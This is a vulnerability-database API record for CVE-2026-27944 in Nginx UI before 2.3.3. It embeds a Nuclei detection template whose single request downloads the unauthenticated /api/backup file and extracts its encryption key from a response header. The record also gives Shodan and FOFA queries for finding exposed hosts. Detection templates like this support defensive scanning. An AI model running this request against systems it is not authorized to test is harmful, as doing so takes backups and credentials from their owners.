{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-27944/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-27944/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-27944/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-27944/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-27944/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-27944"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-27944"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-27944.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-27944\n\ninfo:\n  name: Nginx UI < 2.3.3 - Information Disclosure\n  author: omarkurt\n  severity: critical\n  description: |\n    Nginx UI < 2.3.3 contains an information disclosure vulnerability caused by unauthenticated access to /api/backup endpoint exposing encryption keys in X-Backup-Security header, letting unauthenticated attackers download and decrypt full system backups.\n  impact: |\n    Unauthenticated attackers can access and decrypt full system backups, exposing sensitive data including credentials and private keys.\n  remediation: |\n    Upgrade to version 2.3.3 or later.\n  reference:\n    - https://github.com/advisories/GHSA-g9w5-qffc-6762\n    - https://www.tenable.com/security/research/tra-2026-17\n    - https://vulnerabletarget.com/VT-2026-27944\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-27944\n    epss-score: 0.22842\n    epss-percentile: 0.97746\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: 0xjacky\n    product: nginx-ui\n    shodan-query: http.title:\"nginx ui\"\n    fofa-query: title=\"nginx ui\"\n  tags: cve,cve2026,nginx-ui,unauth,exposure,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/backup\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"X-Backup-Security\"\n          - \"application/zip\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"attachment; filename=\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: header\n        group: 1\n        name: backup_security_header\n        regex:\n          - \"X-Backup-Security: (.+)\"\n# digest: 4a0a00473045022100bdb16dd9fe08eaf7f7879a521e82a26ba1c67cb4f58e1e28a7e3b1adda5e34dd02203587e628023a93149ef791d3ad2231bee71e198f91a0875909757650bd044e51:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-27944"
}